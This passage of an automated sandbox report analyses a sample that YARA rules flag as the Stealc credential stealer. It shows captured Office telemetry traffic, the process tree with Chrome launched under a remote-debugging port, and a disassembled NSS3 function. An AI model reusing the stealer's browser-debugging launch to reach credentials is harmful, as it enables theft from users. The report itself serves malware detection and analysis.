75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:28 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:28 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:28 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061528Z-16849878b78sx229w7g7at4nkg000000079000000000k40r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:28 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:28 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:28 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:28 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061528Z-16849878b78q9m8bqvwuva4svc00000007p0000000008xux x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:28 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:28 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:28 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:28 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: fff585e1-801e-0047-5a39-2a7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061528Z-17c5cb586f6zcqf8r7the4ske000000001fg000000006cax x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:28 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:28 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:28 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:28 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061528Z-16849878b78wv88bk51myq5vxc000000099000000000r1s7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:28 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:29 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:29 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:29 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 54b09425-601e-0097-522c-2af33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061529Z-159b85dff8flqhxthC1DFWsvrs000000013g000000002xrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:29 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:29 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:29 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:29 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: bb32e714-c01e-008d-58b0-262eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061529Z-16849878b78wc6ln1zsrz6q9w800000008w0000000003mcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:29 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:29 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:29 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:29 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: de5f6a9b-601e-000d-3d18-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061529Z-16849878b787wpl5wqkt5731b400000009wg000000009unk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:29 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Target ID:	0
Start time:	02:14:00
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc80000
File size:	2'159'616 bytes
MD5 hash:	960B155CE99AE2A9F450C54AD39B1960
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2050496784.000000000074E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2050877383.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1677872732.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:14:10
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:14:11
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2336,i,3958362710798390015,37809118720636991,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 6C666E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,6C667E60), ref: 6C666EBC
TlsGetValue.KERNEL32 ref: 6C666EDF
EnterCriticalSection.KERNEL32(?), ref: 6C666EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C666F25

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C666F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C666FA9
TlsGetValue.KERNEL32 ref: 6C6670B4
EnterCriticalSection.KERNEL32(?), ref: 6C6670C8
PR_CallOnce.NSS3(6C7B24C0,6C6A7590), ref: 6C667104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667117
SECOID_Init.NSS3 ref: 6C667128
PORT_Alloc_Util.NSS3(00000057), ref: 6C66714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6671A9
PR_NotifyAllCondVar.NSS3 ref: 6C6671CF
PR_Unlock.NSS3 ref: 6C6671DD
free.MOZGLUE(?), ref: 6C6671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667208
free.MOZGLUE(00000000), ref: 6C667221
free.MOZGLUE(00000001), ref: 6C667235
TlsGetValue.KERNEL32 ref: 6C66724A
EnterCriticalSection.KERNEL32(?), ref: 6C66725E
PR_NotifyCondVar.NSS3 ref: 6C667273
PR_Unlock.NSS3 ref: 6C667281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C7A0148,,defaultModDB,internalKeySlot), ref: 6C6674CC
free.MOZGLUE(00000000), ref: 6C667513
free.MOZGLUE(00000000), ref: 6C66751B
free.MOZGLUE(00000000), ref: 6C667528
free.MOZGLUE(00000000), ref: 6C66753C
free.MOZGLUE(00000000), ref: 6C667550
free.MOZGLUE(00000000), ref: 6C667561
free.MOZGLUE(00000000), ref: 6C667572
free.MOZGLUE(00000000), ref: 6C667583
free.MOZGLUE(00000000), ref: 6C667594
free.MOZGLUE(00000000), ref: 6C6675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6675BD
free.MOZGLUE(00000000), ref: 6C6675C8
free.MOZGLUE(00000000), ref: 6C6675F1
PR_NewLock.NSS3 ref: 6C667636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667686
PR_NewLock.NSS3 ref: 6C6676A2

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C667707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C66771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C667731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C66774A
DeleteCriticalSection.KERNEL32(?), ref: 6C667770
free.MOZGLUE(?), ref: 6C667779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C667821
PORT_Alloc_Util.NSS3(?), ref: 6C667837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C66785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C66786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678AC
free.MOZGLUE(00000000), ref: 6C6678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678F3
free.MOZGLUE(00000000), ref: 6C6678FC
free.MOZGLUE(00000000), ref: 6C66791C

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

dll, xrefs: 6C66788E
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6674C7
rdb:, xrefs: 6C667744
NSS Internal Module, xrefs: 6C6674A2, 6C6674C6
,defaultModDB,internalKeySlot, xrefs: 6C66748D, 6C6674AA
dbm:, xrefs: 6C667716
sql:, xrefs: 6C6676FE
extern:, xrefs: 6C66772B
kbi., xrefs: 6C667886
Spac, xrefs: 6C667389

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction ID: b8c2f13f2c6d120a2c0e645878d2398f77352178374a0f1a0a2ea9851bc792a4
Opcode Fuzzy Hash: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction Fuzzy Hash: 065206B1E01205ABEF108F66DC09BAE7BB4BF06348F144138ED19A7E41E771D954CB9A

